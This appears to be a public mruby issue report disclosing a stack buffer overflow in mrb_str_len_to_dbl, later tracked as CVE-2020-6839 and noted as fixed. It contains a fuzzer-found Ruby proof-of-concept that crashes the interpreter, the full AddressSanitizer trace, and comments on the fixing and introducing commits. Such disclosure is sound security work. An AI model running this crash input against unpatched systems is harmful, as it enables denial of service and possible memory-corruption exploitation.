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build mruby in ubuntu18.04 64 bit with ASAN poc:
a=0 b="asdfasdfasdf adaf asdf asdfa sdf asdfasdfasdfa sdf" c={1=>1, 2=>"foo", "foo"=>nil, nil=> nil} d=[1,nil," sdfg"] srand(1337) a = d.prepend(c,c,){|| } d = d.reverse(){|| } b = b.rstrip(){|| } a = d.join(){|| } a = d.Float(a,){|| }
result:
==312==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff44aed8c6 at pc 0x000000605489 bp 0x7fff44aed850 sp 0x7fff44aed848 WRITE of size 1 at 0x7fff44aed8c6 thread T0 #0 0x605488 in mrb_str_len_to_dbl /home/casper/targets/gramma/mruby/dbg/BUILD/src/string.c:2542:12 #1 0x6037d9 in mrb_str_to_dbl /home/casper/targets/gramma/mruby/dbg/BUILD/src/string.c:2576:10 #2 0x65a8eb in mrb_Float /home/casper/targets/gramma/mruby/dbg/BUILD/src/object.c:560:35 #3 0x7dd373 in mrb_f_float /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-kernel-ext/src/kernel.c:134:10 #4 0x59356f in mrb_vm_exec /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:1444:18 #5 0x583324 in mrb_vm_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:947:12 #6 0x5da14f in mrb_top_run /home/casper/targets/gramma/mruby/dbg/BUILD/src/vm.c:2850:12 #7 0x6a450d in mrb_load_exec /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6438:7 #8 0x6a521d in mrb_load_file_cxt /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-compiler/core/parse.y:6447:10 #9 0x4f24ff in main /home/casper/targets/gramma/mruby/dbg/BUILD/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:327:11 #10 0x7f81ecde2b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #11 0x41c479 in _start (/home/casper/targets/gramma/mruby/dbg/fuzzrun/mruby+0x41c479) Address 0x7fff44aed8c6 is located in stack of thread T0 at offset 102 in frame #0 0x604a3f in mrb_str_len_to_dbl /home/casper/targets/gramma/mruby/dbg/BUILD/src/string.c:2493 This frame has 4 object(s): [32, 102) 'buf' (line 2494) <== Memory access at offset 102 overflows this variable [144, 152) 'end' (line 2497) [176, 192) 'x' (line 2506) [208, 224) 'tmp' (line 2509) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/casper/targets/gramma/mruby/dbg/BUILD/src/string.c:2542:12 in mrb_str_len_to_dbl Shadow bytes around the buggy address: 0x100068955ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100068955ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100068955ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100068955af0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100068955b00: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 =>0x100068955b10: 00 00 00 00 00 00 00 00[06]f2 f2 f2 f2 f2 00 f2 0x100068955b20: f2 f2 f8 f8 f2 f2 f8 f8 f3 f3 f3 f3 00 00 00 00 0x100068955b30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100068955b40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100068955b50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100068955b60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==312==ABORTING
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Fixed by 2124b9b
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CVE-2020-6839 was assigned for this issue.
If not mistaken this issue has been introduced in 2532e62
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build mruby in ubuntu18.04 64 bit with ASAN
poc:
result:
The text was updated successfully, but these errors were encountered: